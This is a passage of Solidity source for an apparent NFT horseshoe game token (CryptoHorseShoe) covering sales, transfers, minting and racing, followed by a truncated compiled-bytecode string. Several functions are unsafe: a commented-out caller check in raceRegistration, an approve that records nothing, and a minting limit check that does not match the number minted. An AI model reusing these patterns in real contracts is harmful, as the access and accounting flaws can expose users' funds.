}else if(HSQ>=8&&HSQ<=10){
HSSOwner= HShoeShopO[1];
}else{
HSSOwner= ceoAddress;
}
_from.transfer(oPrice);
ceoAddress.transfer(Fee);
if(HSSOwner!=0){
HSSOwner.transfer(Fee);
}else {
ceoAddress.transfer(Fee);
}
uint256 bidExcess = value - oPrice - Fee - Fee;
_to.transfer(bidExcess);
}else{
_to.transfer(value);
}
}
function _newHorseShoe(
uint256 _genes1,
uint256 _genes2,
uint256 _genes3,
bool _genes4,
bool _genes5,
address _owner
)
internal
returns (uint)
{
HorseShoe memory _horseShoe = HorseShoe({
dna2: _genes2,
dna3 : _genes3,
dna4: _genes4,
dna5: _genes5
});
uint256 newHorseShoeId;
newHorseShoeId = horseShoes.push(_horseShoe)-1;
require(newHorseShoeId == uint256(uint32(newHorseShoeId)));
WearOut[newHorseShoeId]=_genes1;
processingQuality[newHorseShoeId]= (_genes2 + _genes3)/2;
raceListed[newHorseShoeId]=false;
emit Birth(_owner, newHorseShoeId);
_transfer(0, _owner, newHorseShoeId);
return newHorseShoeId;
}
}
contract IronConnect {
function balanceOf(address tokenOwner) public constant returns (uint balance);
function ironProcessed(address tokenOwner) external;
}
contract SmithConnect {
mapping (uint256 => uint256) public averageQuality;
function ownerOf(uint256 _tokenId) external view returns (address owner);
function balanceOf(address _owner) public view returns (uint256 balance);
}
contract ForgeConnection {
mapping (uint256 => uint256) public forgeToolQuality;
function ownerOf(uint256 _tokenId) external view returns (address owner);
function balanceOf(address _owner) public view returns (uint256 balance);
}
contract HorseShoeOwnership is HorseShoeBasis{
string public constant name = "CryptoHorseShoe";
string public constant symbol = "CHS";
uint8 public constant decimals = 0;
function horseShoeForSale(uint256 _tokenId, uint256 price) external {
address ownerof = horseShoeOwnerIndex[_tokenId];
require(ownerof == msg.sender);
horseShoeIndexPrice[_tokenId] = price;
horseShoeIndexForSale[_tokenId]= true;
}
function changePrice(uint256 _tokenId, uint256 price) external {
address ownerof = horseShoeOwnerIndex[_tokenId];
require(ownerof == msg.sender);
require(horseShoeIndexForSale[_tokenId] == true);
horseShoeIndexPrice[_tokenId] = price;
}
function horseShoeNotForSale(uint256 _tokenId) external {
address ownerof = horseShoeOwnerIndex[_tokenId];
require(ownerof == msg.sender);
horseShoeIndexForSale[_tokenId]= false;
}
function _owns(address _applicant, uint256 _tokenId) internal view returns (bool) {
return horseShoeOwnerIndex[_tokenId] == _applicant;
}
function balanceOf(address _owner) public view returns (uint256 count) {
return tokenOwnershipCount[_owner];
}
function transfer(
address _to,
uint256 _tokenId
)
external
payable
{
require(_to != address(0));
require(_to != address(this));
require(_owns(msg.sender, _tokenId));
_transfer(msg.sender, _to, _tokenId);
}
function approve(
address _to,
uint256 _tokenId
)
external
{
require(_owns(msg.sender, _tokenId));
emit Approval(msg.sender, _to, _tokenId);
}
function transferFrom(address _from, address _to, uint256 _tokenId ) external payable {
if(_from != msg.sender){
require(_to == msg.sender);
require(raceListed[_tokenId]==false);
require(_from==horseShoeOwnerIndex[_tokenId]);
_sell(_from, _tokenId, msg.value);
}else{
_to.transfer(msg.value);
}
}
function totalSupply() public view returns (uint) {
return horseShoes.length;
}
function ownerOf(uint256 _tokenId) external view returns (address owner) {
owner = horseShoeOwnerIndex[_tokenId];
return;
}
function ownerOfID(uint256 _tokenId) external view returns (address owner, uint256 tokenId) {
owner = horseShoeOwnerIndex[_tokenId];
tokenId=_tokenId;
return;
}
function horseShoeFS(uint256 _tokenId) external view returns (bool buyable, uint256 tokenId) {
buyable = horseShoeIndexForSale[_tokenId];
tokenId=_tokenId;
return;
}
function horseShoePr(uint256 _tokenId) external view returns (uint256 price, uint256 tokenId) {
price = horseShoeIndexPrice[_tokenId];
tokenId=_tokenId;
return;
}
function setSaleFee(uint256 val) external onCTO {
saleFee = val;
}
function raceOut(uint256 _tokenIdA) external {
require(msg.sender==raceDistCon);
require(WearOut[_tokenIdA] <10 );
HorseShoe storage horseshoeA = horseShoes[_tokenIdA];
horseshoeA.dna4=true;
WearOut[_tokenIdA] = WearOut[_tokenIdA]+1;
raceListed[_tokenIdA]=false;
}
function meltHorseShoe(uint256 _tokenId, address owner) external{
require(msg.sender==addr_forge);
horseShoeIndexForSale[_tokenId]=false;
horseShoeOwnerIndex[_tokenId]=0x00;
tokenOwnershipCount[owner]--;
//iron totalsupply less?
HorseShoe storage horseshoe = horseShoes[_tokenId];
horseshoe.dna5 = true;
horseshoe.dna4 = false;
}
function raceRegistration(uint256 _tokenIdA, address owner) external {
// require(msg.sender==raceDistCon);
require(tokenOwnershipCount[owner]>=4);
require(horseShoeOwnerIndex[_tokenIdA]==owner);
HorseShoe storage horseshoeA = horseShoes[_tokenIdA];
require(horseshoeA.dna4==true);
require(horseshoeA.dna5==false);
require( raceListed[_tokenIdA]==false);
require(horseShoeIndexForSale[_tokenIdA]==false);
horseshoeA.dna4=false;
raceListed[_tokenIdA]=true;
}
}
contract HorseShoeMinting is HorseShoeOwnership {
uint256 public HShoe_Limit = 160000;
function createHorseShoe4(uint256 _genes2,uint256 _genes3,uint256 _genes2a,uint256 _genes3a, uint256 _genes2b,uint256 _genes3b,uint256 _genes2c,uint256 _genes3c, address _owner) external onlyC {
address horseShoeOwner = _owner;
require(horseShoes.length+3 < HShoe_Limit);
_newHorseShoe(0, _genes2, _genes3,true,false , horseShoeOwner);
_newHorseShoe(0, _genes2b, _genes3b,true,false , horseShoeOwner);
_newHorseShoe(0, _genes2a, _genes3a,true,false , horseShoeOwner);
_newHorseShoe(0, _genes2c, _genes3c,true,false , horseShoeOwner);
}
function createHorseShoe1(uint256 _genes2,uint256 _genes3, address _owner) external onlyC {
address horseShoeOwner = _owner;
require(horseShoes.length+3 < HShoe_Limit);
_newHorseShoe(0, _genes2, _genes3,true,false , horseShoeOwner);
}
function createHorseShoe10(uint256 _genes2,uint256 _genes3,uint256 _genes2a,uint256 _genes3a, uint256 _genes2b,uint256 _genes3b,uint256 _genes2c,uint256 _genes3c, uint256 _genes2d,uint256 _genes3d, address _owner) external onlyC {
address horseShoeOwner = _owner;
require(horseShoes.length+3 < HShoe_Limit);
_newHorseShoe(0, _genes2, _genes3,true,false , horseShoeOwner);
_newHorseShoe(0, _genes2b, _genes3b,true,false , horseShoeOwner);
_newHorseShoe(0, _genes2a, _genes3a,true,false , horseShoeOwner);
_newHorseShoe(0, _genes2c, _genes3c,true,false , horseShoeOwner);
_newHorseShoe(0, _genes2d, _genes3d,true,false , horseShoeOwner);
_newHorseShoe(0, _genes2, _genes3,true,false , horseShoeOwner);
_newHorseShoe(0, _genes2b, _genes3b,true,false , horseShoeOwner);
_newHorseShoe(0, _genes2a, _genes3a,true,false , horseShoeOwner);
_newHorseShoe(0, _genes2c, _genes3c,true,false , horseShoeOwner);
_newHorseShoe(0, _genes2d, _genes3d,true,false , horseShoeOwner);
}
function _generateNewHorseShoe(uint256 smith_quality ,uint256 maschine_quality, address _owner) external {
require(msg.sender==addr_forge);
_newHorseShoe( 0, smith_quality, maschine_quality, true, false , _owner);
}
}
contract GetTheHorseShoe is HorseShoeMinting {
function getHorseShoe(uint256 _id)
external
view
returns (
uint256 price,
uint256 id,
bool forSale,
uint256 _genes1,
uint256 _genes2,
uint256 _genes3,
bool _genes4,
bool _genes5
) {
price = horseShoeIndexPrice[_id];
id = uint256(_id);
forSale = horseShoeIndexForSale[_id];
HorseShoe storage horseshoe = horseShoes[_id];
_genes1 = WearOut[_id];
_genes2 = horseshoe.dna2;
_genes3 = horseshoe.dna3;
_genes4 = horseshoe.dna4;
_genes5 = horseshoe.dna5;
}
}
|
0x608060405260043610610251576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff16806306fdde0314610256578063095ea7b3146102e65780630a0f816814610333578063178021e31461038a57806318160ddd146103b55780631f513660146103e057806323b872dd146104375780632b00c6fd146104975780632ce5fb75146104ee578063313ce5671461056c578063379c1bd91461059d5780633851d32014610630578063454a2ab31461067557806347911b7514610695578063514d6e07146106d65780635560d36514610722578063629c37c2146107595780636352211e146107845780636417dec3146107f157806369e459941461081e5780636c18cc1e1461085f57806370a08231146108a05780637122bd4c146108f7578063728d3dd2146109385780637290f6911461097b57806379580664146109c35780637c0f780714610a045780637e71ccd814610a455780637ea531e714610a7057806382f1655714610ac757806395d89b4114610b345780639a1fdc1014610bc45780639b97380314610c6b5780639c121b6d14610d125780639fe005e814610d5f578063a9059cbb14610d8c578063b3de019c14610dcc578063b716f40414610e03578063b74b790c14610e30578063bdcafc5514610e75578063c60aa10d14610ea2578063cc80f9e814610ee5578063cdee5c4a14610f59578063d322014414610fa6578063dcf8f13a14610fdd578063eb80b3d11461101e578063f445162814611075578063f8ebf28214611095578063fab55a49146110cc575b600080fd5b34801561026257600080fd5b5061026b611123565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156102ab578082015181840152602081019050610290565b50505050905090810190601f1680156102d85780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b3480156102f257600080fd5b50610331600480360381019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291908035906020019092919050505061115c565b005b34801561033f57600080fd5b50610348611214565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34801561039657600080fd5b5061039f611239565b6040518082815260200191505060405180910390f35b3480156103c157600080fd5b506103ca61123f565b6040518082815260200191505060405180910390f35b3480156103ec57600080fd5b506103f561124c565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b610495600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050611272565b005b3480156104a357600080fd5b506104ec6004803603810190808035906020019092919080359060200190929190803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506113de565b005b3480156104fa57600080fd5b50610519600480360381019080803590602001909291905050506114c6565b604051808981526020018881526020018715151515815260200186815260200185815260200184815260200183151515158152602001821515151581526020019850505050505050505060405180910390f35b34801561057857600080fd5b50610581611587565b604051808260ff1660ff16815260200191505060405180910390f35b3480156105a957600080fd5b5061062e6004803603810190808035906020019092919080359060200190929190803590602001909291908035906020019092919080359060200190929190803590602001909291908035906020019092919080359060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919050505061158c565b005b34801561063c57600080fd5b5061065b600480360381019080803590602001909291905050506116b0565b604051808215151515815260200191505060405180910390f35b610693600480360381019080803590602001909291905050506116d0565b005b3480156106a157600080fd5b506106c060048036038101908080359060200190929190505050611a7c565b6040518082815260200191505060405180910390f35b3480156106e257600080fd5b5061070160048036038101908080359060200190929190505050611a94565b60405180831515151581526020018281526020019250505060405180910390f35b34801561072e57600080fd5b506107576004803603810190808035906020019092919080359060200190929190505050611ac2565b005b34801561076557600080fd5b5061076e611b7d565b6040518082815260200191505060405180910390f35b34801561079057600080fd5b506107af60048036038101908080359060200190929190505050611b83565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b3480156107fd57600080fd5b5061081c60048036038101908080359060200190929190505050611bc0565b005b34801561082a57600080fd5b5061084960048036038101908080359060200190929190505050611c26565b6040518082815260200191505060405180910390f35b34801561086b57600080fd5b5061089e600480360381019080803590602001909291908035906020019092919080359060200190929190505050611c3e565b005b3480156108ac57600080fd5b506108e1600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611dda565b6040518082815260200191505060405180910390f35b34801561090357600080fd5b5061092260048036038101908080359060200190929190505050611e23565b6040518082815260200191505060405180910390f35b34801561094457600080fd5b50610979600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611e3b565b005b34801561098757600080fd5b506109a660048036038101908080359060200190929190505050611edb565b604051808381526020018281526020019250505060405180910390f35b3480156109cf57600080fd5b506109ee60048036038101908080359060200190929190505050611efc565b6040518082815260200191505060405180910390f35b348015610a1057600080fd5b50610a2f60048036038101908080359060200190929190505050611f14565b6040518082815260200191505060405180910390f35b348015610a5157600080fd5b50610a5a611f2c565b6040518082815260200191505060405180910390f35b348015610a7c57600080fd5b50610ac56004803603810190808035906020019092919080359060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611f32565b005b348015610ad357600080fd5b50610af260048036038101908080359060200190929190505050611fa5565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b348015610b4057600080fd5b50610b49611fd8565b6040518080602001828103825283818151815260200191508051906020019080838360005b83811015610b89578082015181840152602081019050610b6e565b50505050905090810190601f168015610bb65780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b348015610bd057600080fd5b50610c6960048036038101908080359060200190929190803590602001909291908035906020019092919080359060200190929190803590602001909291908035906020019092919080359060200190929190803590602001909291908035906020019092919080359060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050612011565b005b348015610c7757600080fd5b50610d10600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291908035906020019092919080359060200190929190803590602001909291908035906020019092919080359060200190929190803590602001909291908035906020019092919080359060200190929190803590602001909291905050506121a3565b005b348015610d1e57600080fd5b50610d5d60048036038101908080359060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919050505061278a565b005b348015610d6b57600080fd5b50610d8a60048036038101908080359060200190929190505050612915565b005b610dca600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506129b7565b005b348015610dd857600080fd5b50610e016004803603810190808035906020019092919080359060200190929190505050612a52565b005b348015610e0f57600080fd5b50610e2e60048036038101908080359060200190929190505050612b14565b005b348015610e3c57600080fd5b50610e5b60048036038101908080359060200190929190505050612c2e565b604051808215151515815260200191505060405180910390f35b348015610e8157600080fd5b50610ea060048036038101908080359060200190929190505050612c4e565b005b348015610eae57600080fd5b50610ee3600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050612cb4565b005b348015610ef157600080fd5b50610f1060048036038101908080359060200190929190505050612d54565b604051808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018281526020019250505060405180910390f35b348015610f6557600080fd5b50610fa460048036038101908080359060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050612d95565b005b348015610fb257600080fd5b50610fdb6004803603810190808035906020019092919080359060200190929190505050612f6e565b005b348015610fe957600080fd5b506110086004803603810190808035906020019092919050505061303d565b6040518082815260200191505060405180910390f35b34801561102a57600080fd5b50611033613086565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b611093600480360381019080803590602001909291905050506130ac565b005b3480156110a157600080fd5b506110ca60048036038101908080359060200190929190803590602001909291905050506134ab565b005b3480156110d857600080fd5b506110e1613577565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b6040805190810160405280600f81526020017f43727970746f486f72736553686f65000000000000000000000000000000000081525081565b611166338261359d565b151561117157600080fd5b7f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925338383604051808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001828152602001935050505060405180910390a15050565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60155481565b6000600d80549050905090565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b3373ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141515611391573373ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415156112e157600080fd5b600015156014600083815260200190815260200160002060009054906101000a900460ff16151514151561131457600080fd5b600e600082815260200190815260200160002060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614151561138157600080fd5b61138c838234613609565b6113d9565b8173ffffffffffffffffffffffffffffffffffffffff166108fc349081150290604051600060405180830381858888f193505050501580156113d7573d6000803e3d6000fd5b505b505050565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614806114885750600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16145b151561149357600080fd5b8190506016546003600d80549050011015156114ae57600080fd5b6114bf600085856001600086613cfc565b5050505050565b6000806000806000806000806000600f60008b8152602001908152602001600020549850899750601260008b815260200190815260200160002060009054906101000a900460ff169650600d8a81548110151561151f57fe5b90600052602060002090600302019050601160008b815260200190815260200160002054955080600001549450806001015493508060020160009054906101000a900460ff1692508060020160019054906101000a900460ff16915050919395975091939597565b600081565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614806116365750600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16145b151561164157600080fd5b8190506016546003600d805490500110151561165c57600080fd5b61166d60008b8b6001600086613cfc565b5061167f600087876001600086613cfc565b50611691600089896001600086613cfc565b506116a3600085856001600086613cfc565b5050505050505050505050565b60076020528060005260406000206000915054906101000a900460ff1681565b60008060008060006116e18661303d565b94508434101515156116f257600080fd5b600115156007600088815260200190815260200160002060009054906101000a900460ff16151514151561172557600080fd5b6000851115806117485750600b6000878152602001908152602001600020548510155b156117c55760006007600088815260200190815260200160002060006101000a81548160ff0219169083151502179055508373ffffffffffffffffffffffffffffffffffffffff166108fc349081150290604051600060405180830381858888f193505050501580156117bf573d6000803e3d6000fd5b50611a74565b60006007600088815260200190815260200160002060006101000a81548160ff0219169083151502179055503393506004600087815260200190815260200160002060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff169250600860008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008154809291906001019190505550836004600088815260200190815260200160002060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555060016006600088815260200190815260200160002060006101000a81548160ff02191690831515021790555060033481151561190357fe5b04915081340160056000888152602001908152602001600020819055507fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef838588604051808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001828152602001935050505060405180910390a16000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc869081150290604051600060405180830381858888f19350505050158015611a26573d6000803e3d6000fd5b5084340390508373ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f19350505050158015611a72573d6000803e3d6000fd5b505b505050505050565b60116020528060005260406000206000915090505481565b6000806012600084815260200190815260200160002060009054906101000a900460ff169150829050915091565b6000600e600084815260200190815260200160002060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1690503373ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff16141515611b3457600080fd5b81600f60008581526020019081526020016000208190555060016012600085815260200190815260200160002060006101000a81548160ff021916908315150217905550505050565b60095481565b6000600e600083815260200190815260200160002060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff169050919050565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515611c1c57600080fd5b8060098190555050565b60106020528060005260406000206000915090505481565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161480611ce65750600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16145b1515611cf157600080fd5b60006004600085815260200190815260200160002060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16141515611d4957600080fd5b81600560008581526020019081526020016000208190555060016007600085815260200190815260200160002060006101000a81548160ff02191690831515021790555043600a60008581526020019081526020016000208190555081600b60008581526020019081526020016000208190555080600c600085815260200190815260200160002081905550505050565b6000601360008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b600f6020528060005260406000206000915090505481565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515611e9757600080fd5b80600260006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b600080600f6000848152602001908152602001600020549150829050915091565b60056020528060005260406000206000915090505481565b600c6020528060005260406000206000915090505481565b60165481565b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515611f8e57600080fd5b611f9f600084846001600086613cfc565b50505050565b60046020528060005260406000206000915054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6040805190810160405280600381526020017f434853000000000000000000000000000000000000000000000000000000000081525081565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614806120bb5750600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16145b15156120c657600080fd5b8190506016546003600d80549050011015156120e157600080fd5b6120f260008d8d6001600086613cfc565b50612104600089896001600086613cfc565b5061211660008b8b6001600086613cfc565b50612128600087876001600086613cfc565b5061213a600085856001600086613cfc565b5061214c60008d8d6001600086613cfc565b5061215e600089896001600086613cfc565b5061217060008b8b6001600086613cfc565b50612182600087876001600086613cfc565b50612194600085856001600086613cfc565b50505050505050505050505050565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16148061224b5750600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16145b151561225657600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168b73ffffffffffffffffffffffffffffffffffffffff161415151561229257600080fd5b3073ffffffffffffffffffffffffffffffffffffffff168b73ffffffffffffffffffffffffffffffffffffffff16141515156122cd57600080fd5b3373ffffffffffffffffffffffffffffffffffffffff16600e60008c815260200190815260200160002060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614151561233a57600080fd5b612345338c8c613ebd565b3373ffffffffffffffffffffffffffffffffffffffff16600e60008b815260200190815260200160002060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161415156123b257600080fd5b6123bd338c8b613ebd565b3373ffffffffffffffffffffffffffffffffffffffff16600e60008a815260200190815260200160002060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614151561242a57600080fd5b612435338c8a613ebd565b3373ffffffffffffffffffffffffffffffffffffffff16600e600089815260200190815260200160002060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161415156124a257600080fd5b6124ad338c89613ebd565b3373ffffffffffffffffffffffffffffffffffffffff16600e600088815260200190815260200160002060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614151561251a57600080fd5b612525338c88613ebd565b3373ffffffffffffffffffffffffffffffffffffffff16600e600087815260200190815260200160002060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614151561259257600080fd5b61259d338c87613ebd565b3373ffffffffffffffffffffffffffffffffffffffff16600e600086815260200190815260200160002060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614151561260a57600080fd5b612615338c86613ebd565b3373ffffffffffffffffffffffffffffffffffffffff16600e600085815260200190815260200160002060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614151561268257600080fd5b61268d338c85613ebd565b3373ffffffffffffffffffffffffffffffffffffffff16600e600084815260200190815260200160002060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161415156126fa57600080fd5b612705338c84613ebd565b3373ffffffffffffffffffffffffffffffffffffffff16600e600083815260200190815260200160002060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614151561277257600080fd5b61277d338c83613ebd565b5050505050505050505050565b6000600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415156127e857600080fd5b60006012600085815260200190815260200160002060006101000a81548160ff0219169083151502179055506000600e600085815260200190815260200160002060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550601360008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000815480929190600190039190505550600d838154811015156128c657fe5b9060005260206000209060030201905060018160020160016101000a81548160ff02191690831515021790555060008160020160006101000a81548160ff021916908315150217905550505050565b6000600e600083815260200190815260200160002060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1690503373ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614151561298757600080fd5b60006012600084815260200190815260200160002060006101000a81548160ff0219169083151502179055505050565b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16141515156129f357600080fd5b3073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614151515612a2e57600080fd5b612a38338261359d565b1515612a4357600080fd5b612a4e338383613ebd565b5050565b6000600e600084815260200190815260200160002060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1690503373ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff16141515612ac457600080fd5b600115156012600085815260200190815260200160002060009054906101000a900460ff161515141515612af757600080fd5b81600f600085815260200190815260200160002081905550505050565b6000600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515612b7257600080fd5b600a6011600084815260200190815260200160002054101515612b9457600080fd5b600d82815481101515612ba357fe5b9060005260206000209060030201905060018160020160006101000a81548160ff0219169083151502179055506001601160008481526020019081526020016000205401601160008481526020019081526020016000208190555060006014600084815260200190815260200160002060006101000a81548160ff0219169083151502179055505050565b60066020528060005260406000206000915054906101000a900460ff1681565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515612caa57600080fd5b8060158190555050565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515612d1057600080fd5b80600360006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b600080600e600084815260200190815260200160002060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff169150829050915091565b60006004601360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205410151515612de657600080fd5b8173ffffffffffffffffffffffffffffffffffffffff16600e600085815260200190815260200160002060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16141515612e5357600080fd5b600d83815481101515612e6257fe5b90600052602060002090600302019050600115158160020160009054906101000a900460ff161515141515612e9657600080fd5b600015158160020160019054906101000a900460ff161515141515612eba57600080fd5b600015156014600085815260200190815260200160002060009054906101000a900460ff161515141515612eed57600080fd5b600015156012600085815260200190815260200160002060009054906101000a900460ff161515141515612f2057600080fd5b60008160020160006101000a81548160ff02191690831515021790555060016014600085815260200190815260200160002060006101000a81548160ff021916908315150217905550505050565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614806130165750600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16145b151561302157600080fd5b81600c6000838152602001908152602001600020819055505050565b6000600a6000838152602001908152602001600020544303600c60008481526020019081526020016000205402600b600084815260200190815260200160002054039050919050565b600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600080600080600080600115156006600089815260200190815260200160002060009054906101000a900460ff1615151415156130e857600080fd5b6005600088815260200190815260200160002054955034861115151561310d57600080fd5b6009548681151561311a57fe5b04945084860393503392506004600088815260200190815260200160002060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff169150600860008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1